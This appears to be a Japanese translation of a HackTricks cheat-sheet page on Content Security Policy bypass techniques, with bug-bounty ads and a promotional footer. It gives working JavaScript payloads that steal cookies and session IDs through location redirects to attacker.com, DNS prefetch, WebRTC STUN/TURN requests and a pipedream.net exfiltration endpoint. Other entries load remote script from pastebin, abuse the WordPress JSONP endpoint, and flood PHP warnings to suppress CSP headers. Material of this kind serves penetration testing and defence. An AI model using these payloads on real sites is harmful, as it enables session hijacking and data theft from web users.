このCTFの解説記事では、HTMLインジェクションを使用して、CSPをより制限することができ、CSTIを防ぐスクリプトが無効化され、その結果、脆弱性が悪用可能になりました。 CSPは、HTMLメタタグを使用してより制限的にすることができ、インラインスクリプトはエントリを削除することで無効化できます。また、nonceを許可することで特定のインラインスクリプトを有効にすることもできます。
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
Content-Security-Policy-Report-Onlyを使用したJSデータの外部流出
もしサーバーが**Content-Security-Policy-Report-Only
ヘッダーをあなたが制御できる値で応答するようにできれば(おそらくCRLFのため)、それをあなたのサーバーに向けさせることができます。そして、外部流出したいJSコンテンツを<script>
**で囲むことができます。CSPではおそらくunsafe-inline
は許可されていないため、これによりCSPエラーが発生し、(機密情報を含む)スクリプトの一部がContent-Security-Policy-Report-Only
からサーバーに送信されます。
例として、このCTFの解説を参照してください。
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
情報の漏洩 CSP + Iframe
ページがリダイレクトされ、ユーザーに応じて秘密のある別のページにリダイレクトする状況を想像してみてください。例えば、ユーザーadminがredirectme.domain1.comにアクセスすると、adminsecret321.domain2.comにリダイレクトされ、adminにXSSを引き起こすことができます。
また、リダイレクトされるページはセキュリティポリシーによって許可されていませんが、リダイレクトするページは許可されています。
管理者がリダイレクトされるドメインを以下の方法で漏洩することができます:
- CSP違反を通じて
- CSPルールを通じて
CSP違反は即座に漏洩します。https://redirectme.domain1.com
を指すiframeを読み込み、securitypolicyviolation
イベントを監視します。このイベントには、ブロックされたURIのドメインを含むblockedURI
プロパティが含まれています。これは、CSPによってブロックされるhttps://adminsecret321.domain2.com
にリダイレクトされるためです(CSPによってブロックされます)。これは、CSPを使用したiframeの未定義の動作を利用しています。ChromeとFirefoxはこれに関して異なる動作をします。
秘密のサブドメインを構成する可能性のある文字を知っている場合、CSPがリソースをブロックした時としなかった時を確認するために、バイナリサーチを使用して異なる禁止ドメインをCSPに作成することもできます(この場合、秘密はdoc-X-XXXX.secdrivencontent.devの形式である可能性があります)。
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
トリックはここから。
HackenProofはすべての暗号バグ報奨金の場所です。
遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。
Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!急成長するWeb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップして、ハッキングから収益を得ましょう!
{% embed url="https://hackenproof.com/register" %}
CSPをバイパスするための安全でない技術
PHPレスポンスバッファの過負荷
PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られています。したがって、PHPが警告を表示している場合、警告内に十分なデータを提供することで、CSPヘッダーが送信される前にレスポンスが送信され、ヘッダーが無視されます。
そのため、この技術は基本的には警告でレスポンスバッファを埋めることで、CSPヘッダーが送信されないようにすることです。
アイデアはこの解説から。
エラーページの書き換え
この解説によると、CSP保護をバイパスするために、エラーページ(CSPなしである可能性があります)を読み込んでその内容を書き換えることができたようです。
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOMEは、ページのエンドポイントでのXSS(または非常に制限されたXSS)を悪用して、同じオリジンの他のエンドポイントを悪用する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、攻撃者のページを同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。これにより、脆弱なエンドポイントはペイロード内の**opener
**オブジェクトを使用して、悪用するための実際のエンドポイントのDOMにアクセスすることができます。詳細については、次を参照してください:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
さらに、wordpressには/wp-json/wp/v2/users/1?_jsonp=data
というJSONPエンドポイントがあり、出力に送信されたデータを反映します(ただし、文字、数字、ドットのみが制限されます)。
攻撃者は、このエンドポイントを悪用してWordPressに対してSOME攻撃を生成し、<script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
の中に埋め込むことができます。このスクリプトは、'self'によって許可されているため、ロードされます。さらに、WordPressがインストールされているため、攻撃者はSOME攻撃をバイパスするための脆弱な****コールバックエンドポイントを悪用することができます。これにより、ユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりすることができます...
この攻撃の実行方法の詳細については、https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/を参照してください。
CSP情報漏洩のバイパス
外部サーバーとのやり取りを許可しない厳格なCSPがある場合、情報を漏洩させるために常に行えるいくつかの方法があります。
Location
単純に場所を更新して、秘密の情報を攻撃者のサーバーに送信することができます:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
メタタグ
メタタグを注入することでリダイレクトすることができます(これは単なるリダイレクトであり、コンテンツは漏洩しません)。
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS プリフェッチ
ページを高速に読み込むために、ブラウザはホスト名を事前に IP アドレスに解決し、後で使用するためにキャッシュします。
ブラウザにホスト名を事前に解決させるためには、次のように指定します:<link reol="dns-prefetch" href="something.com">
これを悪用して、DNS リクエストを介して機密情報を漏洩することができます。
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
別の方法:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
この問題を回避するために、サーバーは次のHTTPヘッダーを送信することができます:
X-DNS-Prefetch-Control: off
{% hint style="info" %} 明らかに、このテクニックはヘッドレスブラウザ(ボット)では機能しません。 {% endhint %}
WebRTC
いくつかのページでは、WebRTCはCSPのconnect-src
ポリシーをチェックしないと書かれています。
実際には、_DNSリクエスト_を使用して情報を_漏洩_させることができます。以下のコードをご覧ください:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
別のオプション:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
オンラインでCSPポリシーをチェックする
CSPを自動的に作成する
https://csper.io/docs/generating-content-security-policy
参考文献
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
HackenProofはすべての暗号バグ報奨金の場です。
遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップしてハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝してみませんか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、 hacktricks repo と hacktricks-cloud repo にPRを提出してください。